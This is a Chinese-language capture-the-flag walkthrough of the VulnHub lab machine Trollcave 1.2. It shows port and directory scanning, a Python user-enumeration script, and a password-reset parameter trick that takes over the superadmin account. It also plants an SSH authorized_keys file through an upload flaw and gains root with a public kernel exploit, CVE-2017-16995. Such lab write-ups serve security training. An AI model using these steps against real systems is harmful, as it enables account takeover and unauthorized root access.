靶机介绍
ttps://www.vulnhub.com/entry/trollcave-12,230/ Name: Trollcave: 1.2 Date release: 21 Mar 2018 Author: David Yates Series: Trollcave Web page: https://davidyat.es/2017/11/27/announcing-trollcave/
只需要读取 root/flag.txt
安装靶机环境的时候注意用virtualbox,网络改成桥接和你的攻击机网络一样,然后取消启用USB设备,不要更改原来的系统设置
攻击机:192.168.1.53
靶机:192.168.1.104
信息收集
主机发现
netdiscover -r 192.168.1.1/24
然后nmap 扫描端口:nmap -sV 192.168.1.104
发现22和80端口
然后gobuster扫描网站目录
└─# gobuster dir -u http://192.168.1.104/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
访问网站192.168.1.104
访问 /admin/ 会自动跳转到 /login /login 是用户登录的登录的页面 第一张图片是网站的文章 可以看到 king 这个账号是超级管理员(superadmin) 网页的右边是其他用户,经访问发线这些用户的称谓有些不一样。经测试用户登录随便一个密码会有提示。
编写脚本
首先是用户信息的获取 遍历每个用户的用户名和角色
#coding:utf-8
import requests
import re def get_user(id): req = requests.get(url='http://192.168.0.149/users/%s' % (id),timeout=6).text
#match <h1>anybodyhome's page</h1> username=re.search('<h1>(.*?)\'s',req).group(1)
#match "user-info"><b>Superadmin</b>
#userlevel=re.search('>\x0A<b>\x0A(.*?)\x0A</b>',req).group(1) userlevel=re.search('>\s<b>\s(.*?)\s</b>',req).group(1) return username,userlevel
for i in range(0,20): try: username,userlevel = get_user(i)
print(username+','+userlevel) except: None
编写提示脚本 主要是获取登录的提示信息。
编写提示脚本 主要是获取登录的提示信息。
确定源码
查看文章
猜测源码rails,github搜索源码
https://github.com/rails/rails
安装的时候会创建用户 rails 从文章得 网站有一个重置密码的功能 但是没有链接提交
尝试实现password_reset Railscast时语句无效 - passwords - 码客
修改密码
http://192.168.1.104/password_resets/new
修改username为xer
设置 xer 的密码后登录之后发现权限不高。上传文件没法使用。
将xer改为King
尝试修改权限为 superadmin king 发现不能重置密码 但是可以 用 xer 重置密码后 用户改为King 即可http://192.168.1.104/password_resets/edit.CX7RYxMgDafbVYW1mUJQmQ?name=King
密码重置成功
上传文件覆盖
登录之后发现上传文件 但是不允许上传 在控制面板把上传限制打开,这样就可以上传文件。上传php 但是网站不能解释 php 文件,但是发现上传的文件可以上传到其他目录。因为可以试试 rails 用户是否存在如果存在可以上传 authorized_keys 到 rails 用户下的.ssh 就可以免密码登录 ssh
生成ssh秘钥
ssh-keygen -f rails
mv rails.pub authorized_keys
将 authorized_key 上传到/home/rails/.ssh/
ssh登录目标
mv rails id_rsa-rails
chmod 600 id_rsa-rails
ssh -i id_rsa-rails rails@192.168.1.104
交互式shell
/bin/bash -i
提升权限
通过 cat /etc/lsb-release 得出 Ubuntu 的版本
cve-2017-16995 提权
https://www.exploit-db.com/exploits/45010
目标上没有 gcc which gcc 本地编译 gcc cve-2017-16995.c -o cve
已经成功提权到 root
获取 flag.txt
慢也好,步伐小也罢,是往前走就好